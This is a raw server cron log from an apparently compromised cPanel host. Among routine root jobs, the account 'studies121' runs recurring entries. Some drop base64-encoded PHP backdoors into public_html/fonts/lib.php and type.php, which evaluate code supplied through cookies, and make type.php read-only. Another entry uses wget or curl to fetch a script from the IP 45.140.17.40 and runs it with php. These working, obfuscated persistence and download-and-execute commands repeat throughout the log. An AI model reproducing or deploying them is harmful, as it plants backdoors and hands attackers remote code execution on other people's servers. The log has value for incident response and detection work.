Sep 10 03:57:01 ip-184-168-122-23 CROND[28335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:58:02 ip-184-168-122-23 CROND[28416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:58:02 ip-184-168-122-23 CROND[28420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:58:02 ip-184-168-122-23 CROND[28418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:58:02 ip-184-168-122-23 CROND[28419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:58:02 ip-184-168-122-23 CROND[28421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:59:01 ip-184-168-122-23 CROND[28525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:59:01 ip-184-168-122-23 CROND[28526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:59:01 ip-184-168-122-23 CROND[28528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:59:01 ip-184-168-122-23 CROND[28529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:00:01 ip-184-168-122-23 CROND[28727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:00:01 ip-184-168-122-23 CROND[28729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:00:01 ip-184-168-122-23 CROND[28731]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 04:00:01 ip-184-168-122-23 CROND[28732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:00:01 ip-184-168-122-23 CROND[28733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:00:01 ip-184-168-122-23 CROND[28734]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 04:00:01 ip-184-168-122-23 CROND[28730]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:00:01 ip-184-168-122-23 CROND[28735]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:00:01 ip-184-168-122-23 CROND[28737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:01:01 ip-184-168-122-23 CROND[28844]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 04:01:01 ip-184-168-122-23 CROND[28845]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 04:01:01 ip-184-168-122-23 CROND[28847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:01:01 ip-184-168-122-23 CROND[28849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:01:01 ip-184-168-122-23 CROND[28848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:01:01 ip-184-168-122-23 CROND[28853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28844]: starting 0anacron
Sep 10 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28866]: finished 0anacron
Sep 10 04:02:01 ip-184-168-122-23 CROND[28956]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:02:01 ip-184-168-122-23 CROND[28958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:02:01 ip-184-168-122-23 CROND[28957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:02:01 ip-184-168-122-23 CROND[28959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:02:01 ip-184-168-122-23 CROND[28960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:03:01 ip-184-168-122-23 CROND[29052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:03:01 ip-184-168-122-23 CROND[29055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:03:01 ip-184-168-122-23 CROND[29056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:03:01 ip-184-168-122-23 CROND[29058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:04:01 ip-184-168-122-23 CROND[29156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:04:01 ip-184-168-122-23 CROND[29162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:04:01 ip-184-168-122-23 CROND[29159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:04:01 ip-184-168-122-23 CROND[29160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:04:01 ip-184-168-122-23 CROND[29161]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:05:01 ip-184-168-122-23 CROND[29335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:05:01 ip-184-168-122-23 CROND[29336]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:05:01 ip-184-168-122-23 CROND[29338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:05:01 ip-184-168-122-23 CROND[29341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:05:01 ip-184-168-122-23 CROND[29342]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:05:01 ip-184-168-122-23 CROND[29343]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 04:05:01 ip-184-168-122-23 CROND[29340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:06:01 ip-184-168-122-23 CROND[29466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:06:01 ip-184-168-122-23 CROND[29469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:06:01 ip-184-168-122-23 CROND[29470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:06:01 ip-184-168-122-23 CROND[29468]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:06:01 ip-184-168-122-23 CROND[29471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:07:01 ip-184-168-122-23 CROND[29622]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:07:01 ip-184-168-122-23 CROND[29623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:07:01 ip-184-168-122-23 CROND[29626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:07:01 ip-184-168-122-23 CROND[29627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:08:01 ip-184-168-122-23 CROND[29726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:08:01 ip-184-168-122-23 CROND[29729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:08:01 ip-184-168-122-23 CROND[29727]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:08:01 ip-184-168-122-23 CROND[29728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:08:01 ip-184-168-122-23 CROND[29730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:09:01 ip-184-168-122-23 CROND[29834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:09:01 ip-184-168-122-23 CROND[29837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:09:01 ip-184-168-122-23 CROND[29836]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 04:09:01 ip-184-168-122-23 CROND[29838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
